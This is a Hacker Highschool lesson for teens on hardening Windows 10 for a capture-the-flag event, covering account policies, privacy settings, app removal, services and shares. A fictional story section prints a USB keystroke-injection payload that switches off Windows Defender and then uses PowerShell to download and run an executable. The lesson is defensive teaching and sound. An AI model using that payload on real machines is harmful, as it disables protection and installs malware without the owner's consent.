

LESSON 14 DEFENDING WINDOWS 10





Creative Commons 3.3 Attribution - Non - Commercial - NoDerivs ISECOM WWW.ISECOM.ORG - WWW.OSSTMM.ORG - WWW.HACKERHIGHSCHOOL.ORG - WWW.BADPEOPLEPROJECT.ORG - WWW.OSSTMMTRAINING.ORG



WARNING

The Hacker Highschool Project is a learning tool and, as with any learning tool, there are dangers. Some lessons, if abused, may result in physical injury. Some additional dangers may also exist where there has not been enough research on the possible effects of emanations from particular technologies. Students using these lessons should be supervised yet encouraged to learn, try, and do. However, ISECOM cannot accept responsibility for how any information contained herein is abused.

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

The following lessons and workbooks are open and publicly available under the following terms and conditions of ISECOM:

All works in the Hacker Highschool Project are provided for non-commercial use with elementary school students, junior high school students, and high school students whether in a public institution, private institution, or a part of home-schooling. These materials may not be reproduced for sale in any form. The provision of any class, course, training, or camp with these materials for which a fee is charged is expressly forbidden without a license, including college classes, university classes, trade-school classes, summer or computer camps, and similar. To purchase a license, visit the LICENSE section of the HHS web page at http://www.hackerhighschool.org/licensing.html.

The Hacker Highschool Project is an open community effort and, if you find value in this project, we ask that you support us through the purchase of a license, a donation, or sponsorship.

Lesson 14: Defending Windows 10

Table of Contents

WARNING	2
Contributors	5
Foreword	6
Introduction	7
Hardening	9
1. User Account Control Hardening	9
2. Customized System Features1	3
Game On: Summer of Grief – Part 52	5
3. Remove Default Built-in Programs2	8
4. Turn Off Unnecessary Services2	9
5. Disable Default files and folders sharing and Anonymous Logon	0
6. Disable SMB Sharing3	2
Game On: Summer of Grief – Part 63	4
7. Network Security	9
8. Disable WSL4	2
9. Turn off "Autoplay"4	.3
10. Turn off CD Burner access4	.4
11. Prohibit executing from removable drives4	.4
12. Disable Legacy and run once lists in purpose to protect creating Task Schedule	-5
13 Disable SafeMode for Non Admin 4	
	6
14. Disable Web search in Search and Disable Cortana	6 6
 14. Disable Web search in Search and Disable Cortana	.6 / 7
 Disable Veb search in Search and Disable Cortana	6 / / 7
 14. Disable Web search in Search and Disable Cortana	6 7 2 5
 14. Disable Web search in Search and Disable Cortana	6 .6 .7 .7 .2 .5 .6
 14. Disable Web search in Search and Disable Cortana	6 7 2 5 6 2
14. Disable Web search in Search and Disable Cortana	6 7 2 5 6 2 3

HH Hacker Highschool security awareness FOR TEENS



Lesson 14: Defending Windows 10



Lesson 14: Defending Windows 10

WH Hacker Highsc

SECURITY AWARENESS FOR TEENS

Contributors

Pete Herzog, ISECOM Bob Monroe, ISECOM Marta Barceló, ISECOM Htet Aung (Starry Sky), ISECOM Rem Elnahas, ISECOM Vince Spiars, Quinnipiac University Robert E. Jasek, Quinnipiac University Jay Libove, Information Security Forum Diana Kelley, Microsoft Eric Douglas, Microsoft Eric Douglas, Microsoft Jonathan Bar Or (JBO), Microsoft Tomasz Wojdała, Theavycorp.com Michał Krupczyński, Theavycorp.com

Foreword

You're convinced your that a Capture the Flag (CTF) is a worthy endeavor or at least something you should invest your time on beside picking your toenails. There are worse things you could do, like stealing hub caps or removing the "enter" key from any unattended keyboard you come across. CTFs can be lots of fun once you figure out a few items such as how to harden your system, how to plug some of the holes they deliberately install on your computer, or which is the best way to look cool while panicking on the inside.

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

Hacker Highschool is all about looking cool while having a complete mental breakdown on the inside. We are here to help because we've been down that path. We didn't invent "panic", but we know a bit about it due to all our years of working with computers and security. Microsoft Windows 10 has tons of improvements to ease the suffering of old operating system updates, system hardening, closing security gaps, and generally making users life better.

We hope you found this lesson by reading the previous lesson. If you didn't, we highly recommend you step back and read Lesson 13 before you read this lesson. If you are one of those people who likes to read books backwards than by all means, start on the last page and good luck to you. Just curious though, if you are one of those backwards people, how do you eat? Do you wash the dishes then put the food on the plate? During holidays do you have to give everything back and not eat the holiday feast? What happens when you sneeze?

Sorry, went off the rails for a moment. Brushing your teeth must be quite the event, though. Sorry, sorry, no more.

Back to the lesson: Farting must be really painful backwards. We are done. Promise. No more backward jokes. None, zip, nada. What about fighting?

Hacker Highschool would like to formally apologize to the reader for the previous comments. The other writer has been reprimanded and replaced. He had one last question though, "if you garden backwards do you start with grown plants and slowly kill them?".

This is not the way to start a normal cyber security lesson. Luckily, this isn't your typical cyber security training: this is Hacker Highschool and we like to have fun. This is part two of Windows 10 and Capture the Flag (CTF) competitions. Luck good for all you backwards folks.

Introduction

You've made it to the first annual **Cyber Parrot hack and defend CTF**! So far so good. One of the nice things with Windows 10 is there are several ways to do something. There are the shortcuts, icons, settings, command prompt, and quick keys that open up different ways to perform actions. In this lesson we are going to show you several methods to speed up your CTF reaction time.

WH Hacker Highschool

SECURITY AWARENESS FOR TEENS

It wouldn't be much fun if we just talked to you about some stuff so we are going to walk you thru most of this. As you move through each segment, consider which method you like the best. This is not "one size fits all" and you might like one way to do something but find a better way that is easier. Try them all.

The funny thing about "hands on" is that you actually have to put your hands on the keys and mouse to learn. The more you practice these skillz the better you will become.

We will demonstrate several ways to perform different methods to secure your machine. "How" and "what" you do is entirely your own choice and we are not providing a checklist that you check off. It will be up to you to determine which actions you will take when you are in a CTF. Think of this as a cookbook. We'll show you how to bake a cake and which types of ingredients to blend but what kind of cake you make is your own choice.

Some of the funky ingredients for this CTF cake start with hardening the system beginning with the user settings followed by the system settings. This is a bit like making sure you have an oven to bake with, a bowl to mix stuff in, a table to work on, good lighting so you can see what you're doing, and something to mix all the ingredients with.

Next, we need to make sure our cooking area is kinda clean by removing default built-in programs in the Win 10 cake and turn off stuff we don't need. Who wants to eat a cake that was made in a dirty bowl or cluttered kitchen? Clear out all that junk, wipe down the table or counter, and make sure you have plenty of towels to clean up the mess you will be making later.

Ingredients for your cake depend entirely on what cake you want to bake. It could be chocolate, yellow, fruit, red velvet, carrot, upside-down cake, whatever your heart desires. At this point in our terrible analogy, it's really about turning off or disabling lots of stuff in Windows 10. Which ones you turn off and/or disable are entirely up to you, like cake ingredients.

We will mix everything together (hopefully) in a bowl but also looking for malware in the mix. Even the best chefs in the world often find malware lurking in their kitchen, in the pots & pans, in the back of the refrigerator, behind the oven, all kinds of places. We, too, must look for malware as we throw the cake batter into our preheated oven at 200 degrees Celsius for 35 minutes.

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

Our cake is baked as we turn on Windows 10 protection like the firewall, Windows Defender, and a few other controls. Yum, smell that cake as it cooks in your computer oven thing. It will rise as it bakes just as you will rise as your gain points in this CTF. Just don't poke yourself with a toothpick. Use that toothpick on the cake to check if it's done. Use protection like oven mitts to remove the cake from your oven.

We finally get to put our signature touch on the cake. In this baking situation, we will use BitsAdmin to make frosting for your cake. BitsAdmin will literally be the icing on your CTF cake. Yes we are aware that icing isn't the same as frosting but let's not ruin a good metaphor here.

So get to baking and enjoy not burning down the place.

Hardening

When we talk about hardening a system we usually mean a reduction, like how closing holes in a bucket lets it hold more water. You are reducing the holes in the bucket that are keeping the bucket from doing its bucket job. Now, Windows 10 systems come pretty secure out of the box when new but you're not working with a brand new system. Also, Windows 10 workstations are designed for internal use (not networked or unnetworked or network unabled or network challenged) and we know that this Cyber Parrot CTF will leave your system exposed to attackers on purpose. So, what we will be doing is removing unnecessary users, enforcing that everything and everyone has the lowest possible privileges they need to work, and that we don't overly expose ourselves with unneeded services, open ports, or applications leaking information.

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

Exercises

This lesson is very, very, very hands on. Did we mention it's all hands on? So, there will be no more numbered exercises after this point. Oh, but that's because they are all exercises after this point. So, for each subsection follow what's shown and explain what you did and why it was necessary. But most of all, be sure you can do as is shown. Sometimes, things change during updates so if you can't do it exactly as it's shown in the pictures that doesn't mean it can't be done. It just means you need to dig a bit deeper, search online, and ask your classmates how they did it. Remember, hackers turn every failure into an opportunity for learning (unless it involves pocket lint and Jell-O)!

1. User Account Control Hardening

Make a (new?) password for the current User Account:

Lesson 14: Defending Windows 10

\leftarrow Settings				- a ×
ය Home	Sign-in opti	Sign-in options		
Find a setting	Sign in to Wi Cre	eate a password		Get help
Accounts	Windows He New	password		Make Windows better
RE Your info	See how it w Reen	ter password		Give us feedback
🖾 Email & app accounts	C Passw Pass	vord hint goaway	×	
🔍 Sign-in options	Your account			
Access work or school	Add			
R, Family & other people				
C Sync your settings	₩ _{PIN}			
	You can use the change			
	I forgot my P			
	Pictur			
	Sign in to Wi			
	Add		Next Cancel	
	Dynamic lock			
	Dynamic lock			
Type here to search	0 🖬 🔚	😑 💼 🔽 🧔 🐡		ደ ^ዋ 🔨 🔚 🔭 (10) 1:47 PM 📑

Settings > Accounts > Sign-in options

Make an Account Logout policy (does not work on Windows10 Home edition, you'll need to do it through the registry with a registry editor and we don't recommend you messing with that yet):

Windows Key + R

gpedit.msc

GroupPolicy

Computer Configuration\Windows Settings\ Security Settings\Account Logout Policy\

Account lockout duration	10 minutes
Account lockout threshold	5 invalid logon attempts
Reset account logout counter after	15 minutes

Lesson 14: Defending Windows 10



Prevent users from linking their local account to Microsoft Account

Computer Configuration\Policies\Administrative Templates\Windows Components\Microsoft account

Block all consumer Microsoft account user	Enabled
authentication	

Computer Configuration\Policies\Administrative Templates\Windows Components\OneDrive

Enabled

Computer Configuration\Policies\Administrative Templates\Windows Components\OneDrive

Accounts: Block Microsoft accounts	Users can't add or log on with Microsoft accounts
------------------------------------	--

Lesson 14: Defending Windows 10



Disable built-in Administrator and Guest accounts, if they are active.

Open a Run box (Windows key + R)

lusrmgr.msc





Remove any unknown accounts.

If you see any accounts you don't know in the user list they should be removed. For example, on this machine: we don't need 'QBDataServiceUser19' because it's for an application we no longer have or use. How do we know it's for an Application? We searched online for that name and read a few places about it. (Pro Tip: never just use one source of information.)

Other people		
Allow people who are not part of your family to sign in with their own accounts. This won't add them to your family.		
+ Add someone else to this PC		
QBDataServiceUser19 Local account		
Change account type Remove		

The command completed successfully.

2. Customized System Features

We customize all the default system features because if you don't need them or use them they are potential leaks. This is really important during a CTF as any leaks from your system can be captured from the local network and exploited.





Privacy

Show account details (e.g. email address) on sign-in screen

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

Off

Use my sign-in info to automatically finish setting up my device and reopen my apps after an update or restart.

Privacy Windows Permissions

Settings > Privacy > General

General

Change privacy options

Let apps use advertising ID to make ads more interesting to you based on your app usage (turning this off will reset your ID)

off
Let websites provide locally relevant content by accessing my language list
off
Let Windows track app launches to improve Start and search results
off
Show me suggested content in the Settings app
off

Settings > Privacy > Speech, inking & typing

Speech, inking, & typing

Getting to know you



View user dictionary



Settings > Privacy > Diagnose & Feedback

Diagnostics & feedback

Diagnostic data

Choose how much data you send to Microsoft. Select Learn more for info on this setting, how Windows Defender SmartScreen works, and the related data transfers and uses.

- Basic: Send only info about your device, its settings and capabilities, and whether it is performing properly. Diagnostic data is used to help keep Windows secure and up to date, troubleshoot problems, and make product improvements. Regardless of whether you select Basic or Full, your device will be equally secure and will operate normally.
- Full: Send all Basic diagnostic data, along with info about the websites you browse and how you use apps and features, plus additional info about device health, device usage, and enhanced error reporting. Diagnostic data is used to help keep Windows secure and up to date, troubleshoot problems, and make product improvements. Regardless of whether you select Basic or Full, your device will be equally secure and will operate normally.

Feedback frequency

Windows should ask for my feedback

Give us feedback about the Feedback Hub survey notifications

Diagnostics & feedback

Tailored experiences

Let Microsoft offer you tailored experiences based on the diagnostic data setting you have chosen. Tailored experiences are personalized tips, ads, and recommendations that enhance Microsoft products and services for your needs.

Off

Diagnostic data viewer

If data viewing is enabled, you can see your diagnostic data. While enabled, this will take up to 1GB of hard drive space.

Off

Diagnostic Data Viewer



Activity history
Jump back into what you were doing with apps, docs, or other activities, either on your PC or your phone.
Let Windows collect my activities from this PC
Let Windows sync my activities from this PC to the cloud
Review the Learn more and Privacy statement for info about activity history, what happens when you send your activity history to Microsoft, and how we respect your privacy.
Show activities from accounts
These are your accounts on this PC. Turn them off to hide their activities from your Timeline.
sithuthetmar@gmail.com Off
Clear activity history
Clear

Privacy Windows Permissions

Account info access

Account info access for this device Off	
device is off	
Change	
Allow apps to access your account info	
If you allow access, you can choose which apps can name, picture, and other account info by using the s page. Denying access blocks apps from accessing yo info.	access your lettings on this our account
Choose which apps can access your acc	count info
Some apps need to access your account info to wor Turning off an app here might limit what it can do.	k as intended.
Email and accounts	Off
Keeper	Off
Microsoft Content	Off
e Microsoft Edge	Off

Lesson 14: Defending Windows 10

App Diagnostics

App diagnostics

Let apps access diagnostic information

Off

Choose apps that can access diagnostic information about other apps

Some apps use diagnostic information from other apps on your device to run as intended. Diagnostic information may include the names of running apps, the user account name that launched an app, app memory, CPU, disk, and network usage. Preventing access to diagnostic information may limit what an app that uses that information can do.

HH Hacker Highschool SECURITY AWARENESS FOR TEENS

Apps that need your permission to access diagnostic information from other apps are listed here. Go to the Store to get apps.

Backgrounds Apps

Background apps	
Background Apps	
Let apps run in the background	
• Off	
Choose which apps can run in the back	ground
Choose which apps can receive info, send notification up-to-date, even when you're not using them. Turnin apps off can help conserve power.	ns, and stay g background
3D Builder	Off
3D Viewer	Off Off
Alarms & Clock	Off
Bubble Witch 3 Saga	Off Off
Calculator	Off

HH Hacker Highschool security AWARENESS FOR TEENS

Lesson 14: Defending Windows 10

Calendar

Calendar access for this device Off	their calendar by using the	e settings on any person's
	vice is off	
Change		
Allow apps to acco	se vour calandar	
Allow apps to acce	ss your calendar	
If you allow access, you o calendar by using the set apps from accessing you	an choose which apps can ac ttings on this page. Denying a r calendar.	cess your access blocks
Off		
Choose which app	s can access your cale	ndar
Some apps need to access your calendar to work as intended. Turning off an app here might limit what it can do. The followin built-in apps always have access to your calendar. Mail and Calendar.		tended. e following I and
O Cortana		Off
Mail and Calenda	ır	Off
People		Off

Call history

	Call history	
	Allow access to call	history on this device
Call history access for this device		using this device will be able to choose their call history by using the settings ss blocks apps from accessing any
		levice is off
	Change	
	Allow apps to acces	ss your call history
If you allow access, you can choose which apps can acc history by using the settings on this page. Denying acc apps from accessing your call history.		an choose which apps can access your call ngs on this page. Denying access blocks call history.
	• Off	
	Choose which apps	can access your call history
	Some apps need to access your call history to work as intended. Turning off an app here might limit what it can do. The following built-in app always has access to your call history: Phone	
	O Cortana	Off
	Messaging	I Off
	People	Off

HH Hacker Highschool security awareness for teens

Lesson 14: Defending Windows 10

Contacts

	Contacts	
۹.	Allow access to con	ntacts on this device
Conta	cts access for this device) Off	using this device will be able to choose their contacts by using the settings on clocks apps from accessing any person's
		vice is off
	Change Allow apps to acce	ss your contacts
	If you allow access, you c contacts by using the set apps from accessing you	an choose which apps can access your tings on this page. Denying access blocks r contacts.
	Off	

Documents

Documents

Allow apps to access your documents library

If you allow access, you can choose which apps can access your documents library by using the settings on this page. If you deny access, apps that are available in the Microsoft Store on Windows 10 will be blocked from accessing your documents library.



Choose which apps can access your documents library

Some apps need to access your documents library to work as intended. Turning off an app here might limit what it can do.



HH Hacker Highschool SECURITY AWARENESS FOR TEENS

Lesson 14: Defending Windows 10

Email



File System

File system

Allow access to the file system on this device

If you allow access, people using this device will be able to choose if their apps have access to all of their files—including their documents, pictures, videos, and local OneDrive files—by using the setting on this page. Denying access blocks apps from accessing any person's files.

File system access for this device is on

Change

Allow apps to access your file system

If you allow access, you can choose which apps can have access to all of your files—including your documents, pictures, videos, and local OneDrive files—by using the settings on this page. Denying access blocks apps from accessing your file system.





Messaging



Microphone



Other devices

HH Hacker Highschool security AWARENESS FOR TEENS

Lesson 14: Defending Windows 10

٩

Other devices

Communicate with unpaired devices

Let your apps automatically share and sync info with wireless devices that don't explicitly pair with your PC, tablet, or phone

Off

Example: beacons Choose apps that can communicate with devices

Other devices

Other devices that allow you to control app access will appear here.

Examples: Xbox One, TVs, projectors

Pictures

Pict	tures	
Choo libra	ose which apps can access y ry	our pictures
Some intend follow Photo	apps need to access your pictures li ded. Turning off an app here might li ving built-in apps always have access as and Camera.	brary to work as mit what it can do. The to your pictures library:
\bigcirc	3D Viewer	• Off
0	Cortana	• Off
2	Feedback Hub	Off Off
ß	Keeper	Off Off
е	Microsoft Edge	• Off
Ŷ	Paint 3D	• Off
>	Plex	• Off
۵	Xbox	I off

Radios

Lesson 14: Defending Windows 10

Radios

Some apps use radios—like Bluetooth—in your device to send and receive data. Sometimes, apps need to turn these radios on and off to work their magic.

Let apps control radios
Off

Choose apps that can control radios

Apps that need your permission to control your radios will appear here. Go to the Store to get apps.

Tasks



Lesson 14: Defending Windows 10

Videos

Videos

Q

videos library by using the settings on this page. If you deny access, apps that are available in the Microsoft Store on Windows 10 will be blocked from accessing your videos library.



Choose which apps can access your videos library

Some apps need to access your videos library to work as intended. Turning off an app here might limit what it can do. The following built-in app always has access to your videos library: Photos.

3D Viewer	Off Off
Camera	Off
Keeper	Off Off
Movies & TV	On

Location

Location	
Choose apps that can use y	our precise location
3D Viewer	Off Off
Camera	Off Off
Cortana Location history must be on work	for Cortana to Off
Disney Magic Kingdoms	Off
Mail and Calendar	Off
Maps	Off
C Microsoft Edge Sites still need permission	Off Off
Microsoft News	Off
Skype	• Off
Weather	Off

Lesson 14: Defending Windows 10



Jace paid no attention to the chatting, sniffing, rustling, and screeching, or whatever noises other teens at the CTF made around her. She was in the zone.

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

Using the mouse, Jace shifted her attention to this file and viewed it in hex format. Her mind deciphered the code in the right-hand column. She remembered her grandfather explaining how hexadecimal works in values of sixteen. The math wasn't particularly hard, just required concentration. "On-off," she said to herself as she read off the code.

As she visualized the code her voice uttered,

"DELAY 2000

ESCAPE

DELAY 100

CONTROL ESCAPE

DELAY 100

STRING Windows Defender Settings

ENTER

DELAY 2000

TAB

DELAY 50

ALT F4

DELAY 3200

GULa

DELAY 500

ENTER

DELAY 100

GUIa

DELAY 1000

GUI r

DELAY 200

STRING powershell Start-Process powershell -Verb runAs

ENTER

DELAY 1000

ALT y

DELAY 200

STRING \$down = New-Object System.Net.WebClient; \$url = 'collect.exe'; \$file = 'transmit.exe'; \$down.DownloadFile(\$url,\$file); \$exec = New-Object com shell.application; \$exec.shellexecute(\$file); exit;"

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

Lehua stood up from the chair as if to give her fellow hacker more room. Crack. Autopsy stopped. Kali halted. Everyone's eye grew large, in shock, not sure what just happened. Lehua apologized, "I'm so sorry. I think I just broke your USB stick". Jace and the other teammates looked down and saw the one half of the USB drive still in the USB slot and the other half on the ground.

Unphased, Jace replied, "the first set of commands shut off Windows Defender and the second part opened up Powershell to execute two files in the background, I think. Why would they shut off Windows Defender if we hadn't even turned it on yet? I also don't see how they did all this without admin rights."

Tapping Jace on her thigh, Lehua repeated, "I said I think I broke your USB stick. I'm sorry. I get clumsy a lot."

Focusing on the frozen screen, Jace didn't respond. She rubbed her thin fingers together as if they were cold and needed to be warmed up.

Lehua tapped Jace on her shoulder and said, "How bout this, I saw you get dropped off by a cop so why don't you hunt down the USB dude who installed this thing and I'll clean up the mess here. Take the team captain with you, please." Jace read the compliment in that statement and noticed how tight her shoulders were, she was tense. The compliment caused her to relax a bit and lower her defenses slightly, enough to be rational about this new task.

Before heading into the crowd Jace turned back towards Lehua and asked, "hey, what's your handle? We need to talk sometime."

Without looking up from the floor, the hacker replied "n1ghT, your's". Jace replied back, "m33r". They went back to their tasks, smiling ever so slightly at the connection between them.

Lesson 14: Defending Windows 10

Within a few seconds of standing up Jace felt her bladder rumbling like a beat-up punching bag. Her typical walking strides were limited to short steps. The teen turned towards the team captain and said, "I gotta hit the potty." Not waiting on a reply, Jace moved towards the "restroom" sign in the hallway. Her male companion followed her with a bit of distance but not too far away, so, he didn't lose her in the crowd. As soon as they both spotted the bathroom door sign he stopped and rested himself against the closest wall. Jace flung open the restroom door as the aroma of bleach and sanitizer hit her narrow nose. Being Jace, she chose the stall furthest from the entrance door and settled into for the business at hand.

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

Her head was filled with ideas on how to approach the attacker, if they found him at all. Jace checked her fingernails as a nervous habit, not out of concern for her looks but more to focus on something besides the ugly green stall door. The hacker looked at the door as a physical security interest. This door wasn't meant for any kind of protection or anything other than a bit of privacy. Some little scratches on the paint reminded her of an old car, one that needed a paint job decades ago. The chrome door hinges caught her attention. "What a waste of good chrome," she thought to herself.

Almost finished, she reached for the toilet paper and stopped.

The bottom door hinge was held on by special bolts, shiny bolts that only turned in one direction to keep people from stealing the door or something. Jace looked at the last bolt on the bottom hinge and saw it was slightly different from the other bolts. It wasn't shiny like the other door bolts. Jace wiped herself and leaned towards the different bolt. Tapping the bolt with her index finger, Jace didn't hear the metallic sound she expected to hear. Instead, the bolt sounded like plastic. She tapped on the other two higher bolts and heard the metal sound she expected.

She dressed herself and then leaned down to examine the odd bolt. It appeared to be a cover for something, disguised as a bolt but not an exact match. Using her fingernail, Jace was able to get the plastic cover to lift up a bit. Moving her fingers around the outside of the cover, she was able to slowly pry the cover off. The hacker almost fell over when the cover landed to the ground. Behind the cover was a lens, a camera lens.

Frantic, scared, Jace started to panic, started to scream, to cuss, to bang her fists. Her eyes glared with rage at the camera lens as tears dripped down her cheeks. Violated, betrayed, exposed, the teen was becoming angry. She let out a towering yell of emotion that echoed around the tiled bathroom walls. Knowing she had to protect herself, she sat back on the toilet seat to think. "Why did, how could, I didn't, who did this," thoughts jumbled through her head like an upside-down dumpster unloading its trash as incomplete parts of rubbish. Angry, the teen kicked the door with the bottom of her left foot doing very little damage to the metal gate.

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

The camera dislodged from the hinge with two wires still connected to the board, red and black.

Jace thought, "red and black, positive and negative. Those must be the power connectors. But how does this thing work?" She pulled on the camera just enough to see the camera and the processing board. She noticed an ESP 32 chip soldered on the board. "WiFi," Jace said aloud. "This sends the data using WiFi but where does the signal go," she questioned herself.

She reached into her back pocket and pulled out her old cracked cellphone. Entering her phone pin, the hacker went straight to "settings" and turned on her WiFi to scan for nearby devices. Several access points (APs) and stations began to populate her screen of available networks.

Game continues...

3. Remove Default Built-in Programs

There are many built-in programs in Microsoft that we never use. It's always better to remove them if we don't use them or they are unnecessary. If you ever decide you want them it's easy to add them, again. But for now, every application that's there is a potential attack vector to you.

For this we'll be using Powershell. Remember how we told you Powershell could be dangerous? Like any tool it's also, useful. Think of it like Uranium ore in Windows 10; a lot of potential energy to be refined for both good and evil.

Here's the Powershell command to uninstall the built-in programs:

Get-AppxPackage *programname* | Remove-AppxPackage

Lesson 14: Defending Windows 10

It looks like this:

¢4.	C:\WINDOWS\system32	cmd.exe - powershell	
PS	C:\Users\Thinkpad>	Get-AppxPackage	*3dbuilder* Remove-AppxPackage
PS	C:\Users\Thinkpad>	Get-AppxPackage	*xboxapp* Remove-AppxPackage
PS	C:\Users\Thinkpad>	Get-AppxPackage	*bingweather* Remove-AppxPackage
PS	C:\Users\Thinkpad>	Get-AppxPackage	<pre>*bingsports* Remove-AppxPackage</pre>
PS	C:\Users\Thinkpad>	Get-AppxPackage	*windowsstore* Remove-AppxPackage
PS	C:\Users\Thinkpad>	Get-AppxPackage	*windowsphone* Remove-AppxPackage
PS	C:\Users\Thinkpad>	Get-AppxPackage	*people* Remove-AppxPackage
PS	C:\Users\Thinkpad>	Get-AppxPackage	*bingnews* Remove-AppxPackage
PS	C:\Users\Thinkpad>	Get-AppxPackage	*zunevideo* Remove-AppxPackage
PS	C:\Users\Thinkpad>	Get-AppxPackage	*bingfinance* Remove-AppxPackage
PS	C:\Users\Thinkpad>	Get-AppxPackage	*solitairecollection* Remove-AppxPackage
PS	C:\Users\Thinkpad>	Get-AppxPackage	*zunemusic* Remove-AppxPackage
PS	C:\Users\Thinkpad>	Get-AppxPackage	*officehub* Remove-AppxPackage
PS	C:\Users\Thinkpad>	Get-AppxPackage	*getstarted* Remove-AppxPackage
PS	C:\Users\Thinkpad>	Get-AppxPackage	*windowsmaps* Remove-AppxPackage

4. Turn Off Unnecessary Services

Check the currently running processes and kill the unnecessary services and remove unnecessary programs in the startup list. We use process explorer to see details of the running processes, DEP, ASLR status and TCP Views to know which ports are being used by the programs. In the following example we killed the process and disabled the service of the program named QBDBMgrN which is not protected with DEP, ASLR.

HH Hacker Highschool SECURITY AWARENESS FOR TEENS

💼 svchost.exe	7612	Host Process for Windows Services
svchost.exe	7980	Host Process for Windows Services
svchost.exe	8104	Host Process for Windows Services
QBDBMgrN.exe	1444	QuickBooks Database Manager
svchost.exe	6416	Host Process for Windows Services
jhi_service.exe	8940	Intel(R) Dynamic Application Loader Host Interface
LMS.exe	10604	Intel(R) Local Management Service
svchost.exe	8264	Host Process for Windows Services

Lesson 14: Defending Windows 10

3 🗿 🖩 🗈 🎛 9) 🗳 🕺	A 🕀				Δ .	A.A A	. Ind			
ocess	PID C	PU Description		Company Nam	e L	User Name		Window	Status DEP	ASLR	
svchost.exe	7404	Host Process for Window	vs Services	Microsoft Corpo	ration N	IT AUTHORITY\SYSTEM			DEP	ASLR	
- svchost.exe	7412	Host Process for Window	vs Services	Microsoft Corpo	ration N	IT AUTHORITY\SYSTEM			DEP	ASLR	
📝 ctfmon.exe	7528	CTF Loader		Microsoft Corpo	ration D	ESKTOP-E5HGLSH\Thinkpa	d		DEP	ASLR	
svchost.exe	7612	Host Process for Window	vs Services	Microsoft Corpo	ration N	IT AUTHORITY/LOCAL SERV	ICE		DEP	ASLR	
svchost.exe	7980	Host Process for Window	vs Services	Microsoft Corpo	ration N	TAUTHORITY/LOCAL SERV	ICE		DEP	ASLR	
svchost.exe	8104	Host Process for Window	vs Services	Microsoft Corpo	ration N	TAUTHORITY\SYSTEM			DEP	ASLR	
QBDBMgrN.exe	1444	QuickBooks Database N	Manager	Intuit, Inc.	D	DESKTOP-E5HGLSH\QBData	ServiceUser19				
svchost.exe	6416	Host Process for Window	vs Services	Microsoft Corpo	ration N	IT AUTHORITY/LOCAL SERV	ICE		DEP	ASLR	
ihi_service.exe	8940	Intel(R) Dynamic Applica	tion Loader Host Interface	Intel Corporation	N	IT AUTHORITY\SYSTEM			DEP (permanent)	ASLR	
LMS.exe	10604	Intel(R) Local Manageme	ent Service	Intel Corporation	N	IT AUTHORITY\SYSTEM			DEP (permanent)	ASLR	
svchost.exe	8264	Host Process for Window	vs Services	Microsoft Corpo	ration D	ESKTOP-E5HGLSH\Thinkpa	d		DEP	ASLR	
sedsvc.exe	2792	sedsvc	2 GR 4 1 1 1 1 1	Microsoft Corpo	ration N	IT AUTHORITY\SYSTEM			DEP	ASLR	
SgrmBroker.exe	4780	System Guard Runtime N	Aonitor Broker Service	Microsoft Corpo	ration N	IT AUTHORITY\SYSTEM			<n a=""></n>	ASLR	
svchost.exe	10356	Host Process for Window	vs Services	Microsoft Corpo	ration N	IT AUTHORITY/LOCAL SERV	ICE		DEP	ASLR	
svchost.exe	8096	Host Process for Window	vs Services	Microsoft Corpo	ration N	IT AUTHORITY\SYSTEM			DEP	ASLR	
svchostexe	7584	Host Process for Window	vs Services	Microsoft Corpo	ration N	IT AUTHORITY\SYSTEM			DEP	ASLR	
evenet ava	9408	Host Process for Window		Microsoft Corpo	ration N	JT ALITHORITY/SYSTEM			DEP	ASI D	
U Usage: 1.45% Con	imit Charge:	7.63% Processes: 165 F	Physical Usage: 22.69%		_						
				- 0	×	A TCPView - Sysinternal	s: www.sysin	ternals.com			
Help						File Options Process	View Hel	lp.			
B 🛛 🖬 🕨 🖩	II I)				1	🖬 A 🖂 😰					
Services (Local)						Process	PID	Protocol	Local Address	Local Port	1
and a country		6				svchost.exe	7612	UDPV6	[0:0:0:0:0:0:0:1]	1900	
				Description of the second		The such as a sur	7010	LID DV/C	10.0.0.0.0.0.11	40007	

5. Disable Default files and folders sharing and Anonymous Logon

Right Click on "This PC" \rightarrow "Manage". In the "Computer Management" console > "Share Folders" > share. Right-click on the Default "Share Folders" and choose "Stop Sharing".

> (Onel	Drive	e Docum	nents	Downloads	
>	5	30		Collapse			
>	-	De	•	Manage		Pictures	
>		De		Pin to Start			
>	4	De		Map network drive			
>	1	M		Open in new window			
>	100	Pi		Pin to Quick access			
>	8	Vi		Disconnect network drive			
>	4	Lc		Add a network location	k (C:)	DVD RW Drive (D:)	

Lesson 14: Defending Windows 10

e Action View Help	Computer Management						- 0	×
 	ile Action View Help							
Computer Management (Local	🕨 🏟 🙍 📷 🗟 🚺							
System Tools ADMINS C.\WINDOWS Windows 0 Remote Admin Shares Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler More Actions Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler More Actions Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler Image: Character Scheduler <td>P Computer Management (Local</td> <td>Share Name</td> <td>Folder Path</td> <td>Туре</td> <td># Client Connections</td> <td>Description</td> <td>Actions</td> <td></td>	P Computer Management (Local	Share Name	Folder Path	Туре	# Client Connections	Description	Actions	
Image: Constraint of the sector of the s	System Tools	ADMIN\$	C:\WINDOWS	Windows	0	Remote Admin	Shares	-
 If Event Viewer Shared Folders Shared Folders Shares Shares Sessions Open Files Help 	> 🕘 Task Scheduler	CS CS		Windows		Default share	More Actions	•
